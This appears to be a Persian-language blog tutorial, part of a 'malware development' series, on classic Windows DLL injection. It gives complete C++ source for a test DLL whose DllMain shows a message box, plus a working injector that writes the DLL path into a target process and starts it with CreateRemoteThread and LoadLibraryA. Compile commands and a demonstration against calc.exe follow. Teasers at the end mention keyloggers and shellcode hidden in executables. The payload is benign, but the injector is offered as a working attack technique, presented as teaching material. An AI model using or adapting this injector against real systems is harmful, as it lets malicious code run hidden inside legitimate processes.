تزریق DLL کلاسیک (DLL Injection)

در قسمت سوم از مجموعه توسعه بدافزار قرار داریم و این قسمت نیز مثل تمام قسمت های دیگر این مجموعه ، فقط و فقط با اهداف آموزشی و آشنایی با حملات منتشر شده است . مسئولیت هرگونه خرابکاری و جرم بر عهده خودش شخص میباشد .

تزریق DLL

تزریق DLL یکی از تکنیک های مرسوم برای اجرای کد دلخواه هکر ، توسط پروسه های عادی سیستم است . در این تکنیک هکر یک فایل DLL مخرب که حاوی کد های دلخواه او است را ساخته و سپس این فایل را به یک پروسه عادی سیستم تزریق میکند . این باعث میشود تا کد مخرب داخل DLL توسط آن پروسه اجرا شود . برای تزریق DLL ، روش های مختلفی وجود دارد و  بوجود خواهد آمد !‌اما در این قسمت به روش کلاسیک و سنتی آن میپردازیم .

فایل های DLL و EXE

در سیستم عامل ویندوز ، ساختار فایلی وجود دارد به نام Portable Executable (PE) . به طور کلی این ،‌ساختار فایل های اجرایی در ویندوز است . دو پسوند مختلف از فایل های اجرایی در ویندوز که هر دو طبق ساختار PE هستند ، EXE  و DLL است . تفاوت این دو فایل در نحوه اجرا شدن کد های آن هاست . فایل های EXE به راحتی توسط کاربر مثلا با Double Click کردن روی آن ها قابل اجرا است . ولی فایل های DLL مثل کتابخانه ها شامل توابعی از پیش تعریف شده است که اگر فایل های اجرایی دیگر (مثل یک فایل EXE) نیاز به آن توابع داشتند ، آن ها را import میکنند.  بنابراین نحوه اجرا شدن فایل های DLL به این صورت است که ابتدا باید توسط پروسه های دیگر import بشوند . سپس توابع آن ها توسط پروسه ای که آن ها را import  کرده ، قابل فراخوانی است .

اگر در مورد زبان های C یا ++C صحبت کنیم ، در نوشتن فایل های EXE تابعی به نام main داریم که از دید برنامه نویس ، نقطه شروع اجرای برنامه است . در واقع این نقطه شروع فقط از دید برنامه نویس است . از دید سیستم عامل احتمالا جای دیگری غیر از main نقطه شروع است . Loader سیستم عامل که وظیفه ی آن بارگذاری و اجرای برنامه ها در حافظ هاست ، ابتدا یک سری از فعالیت های آماده سازی و مقداردهی اولیه (Initializing) را برای اجرای یک برنامه انجام میدهد و سپس تابع main اجرا میشود .

در نوشتن فایل های DLL کمی تفاوت وجود دارد . اینجا دیگر تابعی به شکل main نداریم . در فایل های DLL تابع خاصی داریم به اسم DllMain که این تابع به محض import شدن آن DLL توسط پروسه های دیگر فراخوانی میشود (اگر وجود داشته باشد) . هکر کاری که میتواند بکند این است که یک فایل DLL درست کند و یک کد مخرب در تابع DllMain آن تعبیه کند . سپس پروسه ای را وادار به import کردن آن DLL کند (تزریق DLL). نهایتا وقتی پروسه DLL را import میکند ،‌تابع DllMain و درنتیجه کد مخرب داخل آن به اجرا در خواهد آمد .

ساخت یک فایل DLL ساده برای تزریق

قطعه کد زیر یک DLL بسیار ساده است که فقط یک پیغام گرافیکی توسط تابع MessageBox به کاربر نشان میدهد :

/*
evil.cpp
simple DLL for DLL inject to process
author: @cocomelonc
https://cocomelonc.github.io/tutorial/2021/09/20/malware-injection-2.html
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  nReason, LPVOID lpReserved) {
  switch (nReason) {
  case DLL_PROCESS_ATTACH:
    MessageBox(
      NULL,
      "Meow from evil.dll!",
      "=^..^=",
      MB_OK
    );
    break;
  case DLL_PROCESS_DETACH:
    break;
  case DLL_THREAD_ATTACH:
    break;
  case DLL_THREAD_DETACH:
    break;
  }
  return TRUE;
}

فایل DLL را compile میکنیم :

x86_64-w64-mingw32-g++ -shared -o evil.dll evil.cpp -fpermissive

مسلما هر پروسه ای که این فایل DLL را import کند ، موجب اجرای کد داخل DllMain آن میشود که طبق کدی که نوشتیم یک پیغام گرافیکی در صفحه به نمایش در می آید . این فایل DLL را در مسیری مشخص در سیستم مقصد که قصد تزریق در آن را داریم قرار میدهید :

اما حالا چگونه این فایل DLL را به یک پروسه تزریق کنیم ؟

 

تزریق DLL کلاسیک

تزریق DLL کلاسیک طی مراحل زیر اتفاق میفتد :

۱ – مشخص کردن PID پروسه مقصد

۲ – رزرو یک buffer به اندازه یک string حاوی مسیر DLL در حافظه پروسه مقصد

۳ – نوشتن مسیر فایل DLL در حافظه رزرو شده

۴ – پیدا کردن آدرس تابع LoadLibraryA که برای import کردن یک DLL به کار میرود

۵ – ساخت یک thread در پروسه مقصد و قرار دادم LoadLibraryA به عنوان آدرس شروع اجرای thread .

در مرحله ۵ یک thread در پروسه مقصد ساخته میشود و تابع LoadLibraryA را صدا میزند و آدرس حافظه ای که مسیر DLL را داخل آن نوشتیم را به عنوان ورودی آن قرار میدهد . در نتیجه فایل DLL مورد نظر ما توسط پروسه مقصد import میشود .

توسط تکه کد زیر عمل تزریق DLL را طبق مراحلی که بالا توضیح دادیم انجام میدهیم . دقت کنید این کد PID پروسه مقصد را به عنوان پارامتر حین اجرا از ما میگیرد :

/*
* evil_inj.cpp
* classic DLL injection example
* author: @cocomelonc
* https://cocomelonc.github.io/tutorial/2021/09/20/malware-injection-2.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>

char evilDLL[] = "C:\\evil.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;

int main(int argc, char* argv[]) {
  HANDLE ph; // process handle
  HANDLE rt; // remote thread
  LPVOID rb; // remote buffer

  // handle to kernel32 and pass it to GetProcAddress
  HMODULE hKernel32 = GetModuleHandle("Kernel32");
  VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");

  // parse process ID
  if ( atoi(argv[1]) == 0) {
      printf("PID not found 🙁 exiting...\n");
      return -1;
  }
  printf("PID: %i", atoi(argv[1]));
  ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

  // allocate memory buffer for remote process
  rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

  // "copy" evil DLL between processes
  WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);

  // our process start new thread
  rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
  CloseHandle(ph);
  return 0;
}

PID پروسه مقصد توسط پارامتر اول برنامه مشخص شده است (مرحله ۱) . در خط ۳۴ حافظه ای به اندازه مسیر فایل DLL در پروسه مقصد رزرو شده (مرحله ۲) . در خط ۳۷ آدرس فایل DLL در حافظه رزرو شده در پروسه مقصد نوشته شده است (مرحله ۳)‌ . در خطوط ۲۲ و ۲۳ آدرس تابع LoadLibraryA در حافظه پیدا شده (مرحله ۴) . نهایتا در خط ۴۰ یک thread در پروسه مقصد ساخته شده است که فایل DLL را در پروسه مقصد import میکند .

کد بالا را compile میکنیم :

x86_64-w64-mingw32-gcc -O2 evil_inj.cpp -o inj.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive >/dev/null 2>&1

فرض کنیم میخواهیم DLL خود را به برنامه calc.exe تزریق کنیم . برای اینکار ابتدا یک calc.exe در سیستم مقصد اجرا میکنیم و سپس تکه کدی که برای تزریق نوشته بودیم را اجرا میکنیم :

میبینیم که DLL به درستی تزریق شده و پیغام گرافیکی که  صحبت کرده بودیم توسط پروسه calc.exe نمایان شد .

اگر برنامه Process Hacker که در قسمت قبلی مجموعه معرفی شد را اجرا کنیم و به تب memory در calc.exe مراجعه کنیم ، میبینیم که فایل DLL که ساختیم (evil.dll) در حافظه calc.exe بارگذاری شده :

مارو دنبال کنید

پست های مرتبط

مطالعه این پست ها رو از دست ندین!
KeyLogger کیلاگر

ساخت KeyLogger با استفاده از GetAsyncKeyState

آنچه در این پست میخوانید مارا دنبال کنید یکی از روش های مرسوم و اولیه برای پیاده سازی KeyLogger ها…

بیشتر بخوانید

جاسازی Shellcode در فایل اجرایی exe

در اینجا میخواهیم ببینیم چطور میتوان یک Shellcode را در یک فایل اجرایی ویندوزی جاسازی کرد به طوری که با اجرای فایل اجرایی آلوده ، ابتدا Shellcode به صورت مخفیانه اجرا شده و سپس محتوای عادی فایل اجرایی شروع به اجرا شدن میکنند طوری که همه چیز عادی به نظر برسد .

بیشتر بخوانید
نتیجه اجرای تکنیک RWX memory Hunting

تزریق کد بوسیله تکنیک RWX-Memory Hunting

RWX-Memory Hunting روشی بسیار ساده برای تزریق کد به پروسه های دیگر است . همانطور که از اسم این تکنیک بر می آید ،‌ به حافظه کل پروسه های سیستم سرک میکشیم ، به محض اینکه یک قسمت از حافظه در پروسه دیگری با حالت RWX ( قابل خواندن ، نوشتن و اجرا کردن)‌ پیدا کردیم ، یک shellcode درون آن مینویسیم و یک thread برای اجرای آن shellcode میسازیم (دقیقا کاری که در “تزریق کد کلاسیک” انجام میدادیم) .

بیشتر بخوانید

نظرات

سوالات و نظراتتون رو با ما به اشتراک بذارید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *